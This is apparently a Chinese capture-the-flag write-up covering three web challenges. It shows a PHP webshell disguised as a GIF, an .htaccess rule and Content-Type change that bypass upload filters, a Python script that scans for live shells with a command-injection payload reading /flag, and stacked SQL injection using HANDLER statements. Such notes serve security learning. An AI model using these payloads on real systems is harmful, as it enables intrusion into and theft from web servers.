知识点
python编码知识(未学习)
SQL注入知识
HANDLER
handler column_name open 语句打开一个表 ,使其可以使用
后续 handler column_name read 语句访问,该表对象未被其他会话共享,并且在会话调用handler column_name close 或会话终止之前不会关闭,详情可见
14-1 [MRCTF2020]你传你🐎呢
做题思路
尝试上传一句话木马
GIF89a
<script language="php">eval($_POST['flag']);</script>开头是图像的文件头,因为懒得 改了,尝试性的上传
抓包之后改后缀为phtml,
应该是过滤了,然后上传 .htaccess 文件解析图片马
AddType application/x-httpd-php .jpg
发现不能上传,反应过来可以抓包改 content-type为image/jpeg
最后蚁剑连接http://35e73a9c-824d-4d27-82b4-294747d2b978.node3.buuoj.cn/upload/6243c9a5fa9d97fcc5fe2e59dd985434/w.jpg成功连接,然后找到flag
14-2 [强网杯 2019]高明的黑客
做题思路
根据提示
于是 来连接 url 到 /www.tar.gz得到文件
打开压缩包,查看源码,发现了很多shell,我却没有找到flag,看WP
发现很多大佬都是利用python脚本找到有效 shell
大佬脚本 需要在本地搭一个环境,php 7.0以上,否则会报语法错误!
import requests import sys import os import threading import time url = "http://127.0.0.1/src/" files = os.listdir("C://Users//Administrator//Desktop//www//src") #print(files) def GetGet(file): a = [] f = open("C://Users//Administrator//Desktop//www//src//"+file,'r') content = f.readlines() for i in content: if i.find("$_GET['") > 0: start = i.find("$_GET['") + 7 end = i.find("'",start) a.append(i[start:end]) return a def GetPost(file): a = [] f = open("C://Users//Administrator//Desktop//www//src//"+file,'r') content = f.readlines() for i in content: if i.find("$_POST['") > 0: start = i.find("$_POST['") + 8 end = i.find("'",start) a.append(i[start:end]) return a def Send(start,end): start = int(start) end = int(end) for i in range(start,end): i = files[i] get = GetGet(i) print("Try filename: %s"%i) for j in get: NewUrl = url+"%s?%s=%s"%(i,j,'echo "Success!!!"') s = requests.get(NewUrl) if("Success" in s.text): print("Success! Url:%s" % (NewUrl)) break post = GetPost(i) for j in post: NewUrl = url+"%s"%(i) s = requests.post(NewUrl,data={j:"echo 'Success!!'"}) if("Success" in s.text): print("Success! Post:%s" % (j)) break class myThread (threading.Thread): def __init__(self, threadID, name, counter): threading.Thread.__init__(self) self.threadID = threadID self.name = name self.counter = counter def run(self): Send(self.name, self.counter) for i in range(0,150): thread = myThread(i,i*20,(i+1)*20) thread.start()
payload
/xk0SzyKwfzw.php?Efa5BVG=%20cat%20/flag
成功得到flag
14-3 [GYCTF2020]Blacklist
做题思路
题目提示黑名单,并且疑似注入点,尝试注入,
发现字节为2
发现了黑名单
想到之前的堆叠注入,尝试一下,1';show databases;show tables;#
得到库名和表名看到有个表FlagHere,查看一下有什么字段
1';show columns from FlagHere;
发现了flag,但是我接下来不知道该怎么走。。好气啊
嗯,找WP关于堆叠注入的发现由于禁用了prepare,rename 预处理方法,重命名方法都不行
好吧,直接看大佬payload:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
嗯,成功得到flag